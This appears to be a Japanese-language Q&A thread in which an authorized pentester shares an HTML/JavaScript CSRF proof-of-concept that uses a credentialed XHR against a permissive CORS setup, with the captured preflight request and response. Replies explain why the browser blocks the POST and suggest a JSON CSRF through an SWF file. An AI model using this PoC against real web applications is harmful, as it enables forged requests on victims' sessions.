私は現在、CSRF攻撃のPoCに取り組んでいます。これは、CORS設定が緩いために可能になるはずです。攻撃する許可があります。
これで、次のコードは、実際のCSRFを送信するためにブラウザーが必要とするすべての詳細を含むOPTIONS要求を送信するはずです。
<html>
<head>
</head>
<body>
<script>
function createCORSRequest(method, url){
var xhr = new XMLHttpRequest();
if ("withCredentials" in xhr){
xhr.open(method, url, true);
} else if (typeof XDomainRequest != "undefined"){
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
xhr = null;
}
return xhr;
}
var url = 'https://api.example.com/path';
var xhr = createCORSRequest('POST', url);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-Type', "application/json");
xhr.send("EXAMPLE");
</script>
</body>
</html>
ブラウザはOPTIONSリクエストを送信し、サーバーはそれに応じて応答します。
OPTIONSリクエスト:
OPTIONS /path HTTP/1.1
Host: api.example.com
User-Agent: Agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: null
Connection: close
Cache-Control: max-age=0
応答:
HTTP/1.1 200 OK
Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, PATCH, DELETE
Access-Control-Allow-Origin: *
Date: Fri, 21 Sep 2018 07:25:06 GMT
Content-Length: 0
Connection: close
しかし、実際のPOSTリクエストが送信されることはありません。私はJSがあまり得意ではなく、さまざまなStackExchange投稿からXHRパーツをつなぎ合わせました。これのバリエーションは、別のWebアプリケーションで機能しました。
ブラウザがCSRF POSTリクエストを送信しないのはなぜですか?
問題を特定しました。サーバーがAccess-Control-Allow-Credentials: true
で応答しないため、CORS設定では "withCredentials"が許可されません。これがPOSTリクエストが行われない理由です。
さらに、@ Matthewによって述べられているように、Access-Control-Allow-Origin
にワイルドカードを使用すると、Authorization
ヘッダーを送信できません。
攻撃は可能です。CORSは不要で、XHRを悪用する必要はありません。swfファイル経由でトリッキーなjson CSRFを試してください。